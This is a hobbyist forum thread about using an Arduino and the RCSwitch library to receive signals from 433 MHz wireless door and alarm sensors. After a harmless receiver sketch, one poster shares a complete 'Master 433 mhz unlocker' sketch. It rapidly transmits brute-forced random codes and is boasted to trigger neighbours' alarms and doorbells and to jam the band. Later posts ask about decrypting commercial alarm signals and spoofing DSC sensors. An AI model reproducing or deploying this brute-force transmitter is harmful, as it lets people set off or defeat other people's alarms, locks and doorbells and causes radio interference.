Interact with 433mhz wireless door sensors

Hi,
I have many of these installed in the house :

They are connected to the alarm i have from Chuango. These are 433mhz wireless sensors. I was wondering if i could get notified in an Arduino when such device opens/closes. Is that possible ? If so what would the procuedure be ? I don't want to interact with the rest of the alarm system i just want to know as well when they open/close.

Also i found some simmilar 433mhz door sensors which are dead cheap here :
http://www.aliexpress.com/item/New-White-433-Mhz-Contact-Wireless-Door-Window-Magnet-Entry-Detector-Sensor/1765675065.html

Would these be easier to interact with or would it be the same ? I would appreciate if someone had some examples of somebody else achieving something simmilar and how they did it.

I found this which i believe i need but from here to actually getting data from the sensors there is a long way :
http://www.aliexpress.com/item/coolprice-433-MHZ-Wireless-Receiver-Module-For-Arduino-ARM-MCU-Remote-Control-Save-up-to-50/1943204759.html

/donnib

I don't use those receivers anymore, because the frequency is tuned with a coil. I use a version without the coil.
You can use that receiver (or a slightly better one) with the RCswitch library to receive the cheap door alarm. They all use a common protocol. It is called 2262/2272 protocol, it uses some kind of tri-state code.

However, you Chuango door alarm uses 1.5V. That means that it has different hardware than the cheap alarms with the common protocol. So perhaps also the protocol is different.
Is Chuango the manufacturer of that alarm, or just a brand name ? Perhaps you can open one and have a look inside. Perhaps you can see the chips that are used.

yes you can take the codes , and use them for own use ,
i know those door bels they use a cheap coil tx 433 mhz like above told ,
but they can be used , if you need some sketch , let me know
i can change them to serial print and you read out the codes ,
and use them to transmit to station
or a arduino to recieve them and react on it !

#include <RCSwitch.h>

RCSwitch mySwitch = RCSwitch();
int led =13;
void setup() {
  Serial.begin(9600);
  pinMode(led, OUTPUT);
  mySwitch.enableReceive(0);  // Receiver on inerrupt 0 => that is pin #2
}

void loop() {
  if (mySwitch.available()) {
    
    int value = mySwitch.getReceivedValue();
    
    if (value <= 0) {
      Serial.print("Unknown encoding");
      digitalWrite(led, HIGH);
    } else {
      digitalWrite(led, LOW);
      Serial.print("Received ");
      Serial.print( mySwitch.getReceivedValue() );
      Serial.print(" / ");
      Serial.print( mySwitch.getReceivedBitlength() );
      Serial.print("bit ");
      Serial.print("Protocol: ");
      Serial.println( mySwitch.getReceivedProtocol() );
      if (value==22464)digitalWrite(led, HIGH); // when recieve this do led high 
      if (value==22284)digitalWrite(led, LOW);  // when recieve this do led low
      Serial.println(value);
    }

    mySwitch.resetAvailable();
  }
}

decodes recieved stuff

this one i use to send random codes real fast , wil trigger al alarms and other doorbels ,
using 433 mhz , jams the hood !!

 /*
  Master 433 mhz unlocker made By DexterBoT Genius 
  random code generator for RF-433MHz systems .
*/

#include <RCSwitch.h>
long randNumber;
int code =0 ;
int buttonState = 0;
int encryption=0 ;
int code1 =1;
int buttonPin = 7;
int led = 3;
int led1 = 4;
int led2 = 5;
int led3 = 6;

RCSwitch mySwitch = RCSwitch();
void setup() {
  pinMode(led, OUTPUT);
  pinMode(led1, OUTPUT);
  pinMode(led2, OUTPUT);
  pinMode(led3, OUTPUT);
  pinMode(buttonPin, INPUT);
  digitalWrite(led, HIGH);
  delay(1700);
  digitalWrite(led,LOW);
  encryption = 8;
  // change your encryption bit type here ! = default 24 bit ;
 // Transmitter is connected to Arduino Pin #10  
  mySwitch.enableTransmit(10);
// Optional set pulse length.
  mySwitch.setPulseLength(250);
// Optional set protocol (default is 1, will work for most outlets)
  mySwitch.setProtocol(1);
// Optional set number of transmission repetitions.
  mySwitch.setRepeatTransmit(2);
  digitalWrite(led, LOW);
}

void loop() {
  buttonState = digitalRead(buttonPin);
  if (buttonState == HIGH)encryption=encryption+8;
  if (buttonState == HIGH)delay(3000);
  if (buttonState == HIGH)code=0;
  if (encryption==40)encryption=8;
  if (encryption==8)digitalWrite(led, HIGH);
  if (encryption!=8)digitalWrite(led, LOW);
    if (encryption==16)digitalWrite(led1, HIGH);
  if (encryption!=16)digitalWrite(led1, LOW);
    if (encryption==24)digitalWrite(led2, HIGH);
  if (encryption!=24)digitalWrite(led2, LOW);
      if (encryption==32)digitalWrite(led3, HIGH);
  if (encryption!=32)digitalWrite(led3, LOW);
  randomSeed(code=code+1/0.50);
  code1 = code1+1*20/6;
  // here you can input your min,max codes you want to generate !
  randNumber = random(10000000,999999999);
mySwitch.send(randNumber,encryption);
mySwitch.send(code, encryption);
mySwitch.send(code*10, encryption);
mySwitch.send(randNumber/7,encryption);
mySwitch.send(randNumber/7*20,encryption);
mySwitch.send(randNumber*8, encryption);
mySwitch.send(code*1000, encryption);
mySwitch.send(randNumber/4,encryption);
mySwitch.send(code1,encryption);
mySwitch.send(randNumber+1000000,encryption);
mySwitch.send(randNumber+2000000,encryption);
mySwitch.send(randNumber+3000000,encryption);
mySwitch.send(randNumber+4000000,encryption);
mySwitch.send(randNumber+5000000,encryption);
mySwitch.send(randNumber+10,encryption);
mySwitch.send(randNumber+100,encryption);
mySwitch.send(randNumber+1000000,encryption);
mySwitch.send(randNumber+100000000,encryption);
mySwitch.send(randNumber/10,encryption);
mySwitch.send(randNumber/100,encryption);
mySwitch.send(randNumber/1000,encryption);
mySwitch.send(randNumber/10000,encryption);
mySwitch.send(randNumber/100000,encryption);
mySwitch.send(code+100000,encryption);
mySwitch.send(code+1000000,encryption);
mySwitch.send(code+10000000,encryption);
mySwitch.send(code+100000000,encryption);
mySwitch.send(randNumber-1500,encryption);
mySwitch.send(randNumber-1500,encryption);
mySwitch.send(randNumber-15000,encryption);
mySwitch.send(randNumber-150000,encryption);
mySwitch.send(randNumber-1500000,encryption);
mySwitch.send(code+150,encryption);
mySwitch.send(code+1500,encryption);
mySwitch.send(code+15000,encryption);
mySwitch.send(code+150000,encryption);
mySwitch.send(randNumber*10,encryption);
mySwitch.send(randNumber*100,encryption);
mySwitch.send(randNumber*1000,encryption);
mySwitch.send(randNumber*1000000,encryption);
mySwitch.send(randNumber*10000000,encryption);
mySwitch.send(randNumber+15,encryption);
mySwitch.send(randNumber+150,encryption);
mySwitch.send(randNumber+1500,encryption);
mySwitch.send(randNumber+15000,encryption);
mySwitch.send(randNumber+11,encryption);
mySwitch.send(randNumber+101,encryption);
mySwitch.send(randNumber+1000001,encryption);
mySwitch.send(randNumber+100000001,encryption);
mySwitch.send(randNumber-11,encryption);
mySwitch.send(randNumber-101,encryption);
mySwitch.send(randNumber-1000001,encryption);
mySwitch.send(randNumber-100000001,encryption);
mySwitch.send(code+11,encryption);
mySwitch.send(code+101,encryption);
mySwitch.send(code+1000001,encryption);
mySwitch.send(code+100000001,encryption);
mySwitch.send(code-11,encryption);
mySwitch.send(code-101,encryption);
mySwitch.send(code-1000001,encryption);
mySwitch.send(code-100000001,encryption);
mySwitch.send(code1+11,encryption);
mySwitch.send(code1+101,encryption);
mySwitch.send(code1+1000001,encryption);
mySwitch.send(code1+100000001,encryption);
mySwitch.send(code1-11,encryption);
mySwitch.send(code1-101,encryption);
mySwitch.send(code1-1000001,encryption);
mySwitch.send(code1-100000001,encryption);

/*
//delay(300);
Serial.println(randNumber);
Serial.println(code);
Serial.println(code*10);
Serial.println(randNumber/7);
Serial.println(randNumber/7*20);;
Serial.println(randNumber*8);
Serial.println(code*1000);
Serial.println(randNumber/4);
Serial.println(code1);
Serial.println(randNumber+1000000);
Serial.println(randNumber+2000000);
Serial.println(randNumber+3000000);
Serial.println(randNumber+4000000);
Serial.println(randNumber+5000000);
Serial.println(randNumber+10);
Serial.println(randNumber+100);
Serial.println(randNumber+1000000);
Serial.println(randNumber+100000000);
Serial.println(randNumber/10);
Serial.println(randNumber/100);
Serial.println(randNumber/1000);
Serial.println(randNumber/10000);
Serial.println(randNumber/100000);
Serial.println(code+100000);
Serial.println(code+1000000);
Serial.println(code+10000000);
Serial.println(code+100000000);
Serial.println(randNumber-1500);
Serial.println(randNumber-1500);
Serial.println(randNumber-15000);
Serial.println(randNumber-150000);
Serial.println(randNumber-1500000);
Serial.println(code+150);
Serial.println(code+1500);
Serial.println(code+15000);
Serial.println(code+150000);
Serial.println(randNumber*10);
Serial.println(randNumber*100);
Serial.println(randNumber*1000);
Serial.println(randNumber*1000000);
Serial.println(randNumber*10000000);
Serial.println(randNumber+15);
Serial.println(randNumber+150);
Serial.println(randNumber+1500);
Serial.println(randNumber+15000);
Serial.print("encryption used now is");
Serial.print("");
Serial.print(encryption);
Serial.print("");
Serial.print("bits");
*/
}

@Dexterbot - that's really impressive.

One question though, how could you do the same thing with more advanced sensors that use encryption - i.e Honeywell/Visonic? I tried using one of their receivers but it only outputs a single signal so you cant tell which device triggered

I posted a similar question to this a few days ago - fundamentally I want to do the same thing as the OP - be able to read signals from existing/commercial PIRs/door sensors.

Thanks

try this code but on a 315 Mhz rx ,, and look what happens :slight_smile:
it wil shows you the codes transmited , you can try it

so you're saying this code will actually decrypt the signals?

Sorry - I would have tried it already but the standard PIR I have is 433Mhz and I only have a 315Mhz receiver

I will order a 433MHz receiver and try!

David

I wonder if any one of you have tried to emulate a DSC 433Mhz. door sensor ? I would like to receivean opening signal from a cheap 433Mhz sensor and translate in such a way can recognize it as a DSC sensor,

Thanks